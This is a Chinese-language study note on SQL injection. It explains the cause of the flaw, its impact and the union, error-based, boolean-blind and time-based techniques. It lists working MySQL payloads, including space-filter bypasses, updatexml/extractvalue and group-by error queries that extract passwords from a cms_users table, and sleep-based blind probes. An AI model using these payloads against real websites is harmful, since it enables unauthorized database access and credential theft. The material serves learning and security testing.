**
sql注入
**
SQL注入(SQL lnjection)是一种常见的WEB安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
**
SQL注入原理
通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到攻击的行为。
1:处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2:未对用户的输入的参数进行足够的过滤,便将参数的内容拼接到SQL语句中
**
漏洞的危害
1:利用sql出任漏洞,可以获取数据库的多种信息,(列如:管理员后台账密),从而脱取数据库中的内容(脱裤)
2:修改数据库中的内容,插入内容到数据库,删除数据库中的内容。
3:利用SQL注入漏洞直接获取webshell或者服务器权限。
**
SQL注入漏洞的分类
数字型
字符型
SQL注入4大手法
联合查询
报错注入
布尔盲注
延时注入
**
1:注入点的判断
会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL 注入漏洞。
**
注入判断
**
1:-1 或 +1是否能够回显上一个或者下一个⻚面(判断是否有回显)
2:'或"是否显示数据库错误信息;回显的⻚面是否不同(字符型还是数字型)
3:and 1=1 或者 and 1=2回显的⻚面是否不同(布尔类型的状态)
4:and sleep(5)判断⻚面的返回时间
6:\判断转义
~回显
数据库中的内容是否有回显
~~数据库报错
1:数据库报错信息是否回显在网页中
2:提交的数据是字符型还是数字型
3:如果是字符型数据,闭合方式是什么。
~~布尔类类型的状态
1:回显的页面不同,形成对比
2:页面正常或者不正常
~~延时
1:让数据库沉睡响应的秒数
SQL注入的流程
数据库名->表名-> 字段名->字段内容
内联注释
如果服务器过滤了空格可以采用内联注入绕过
//
?id=1’/!/and/!/1=1%23
?id=1’//and/**/1=1%23
?id=1’/!50001/and/!50001/1=1%23
可以代替空格的字符
?id=1’%0Aand%0A1=1%23
?id=1’%0Band%0B1=1%23
?id=1’%0Dand%0D1=2%23
报错注入是固定的公式可以利用函数
~~group by
and (select 1 from (select count(*),concat(0x5e,(select passwordfrom cms_users limit 0,1),0x5e,floor(rand()*2))x frominformation_schema.tables group by x)a)
~~extractvalue
and extractvalue(1,concat(0x5e,(select database()),0x5e))
~~updatexml
and updatexml(1,concat(0x5e,(select substr(password,1,16) fromcms_users),0x5e),1)
布尔盲注
先猜数据库名字的长度
and length (database())=3
在利用ascii猜位数
and ascii(substr(database(),1,1))>99
and ascii(substr(database(),1,1))=99
延时注入
利用sleep()语句的延时性,以时间线作为判断条件
判断数据库的长度等于8
and if(length(database())=8,sleep(5),1) --+
数据库名装位数进行ascii位判断
and if(ascii(substr(version(),1,1))=49,sleep(5),1) --+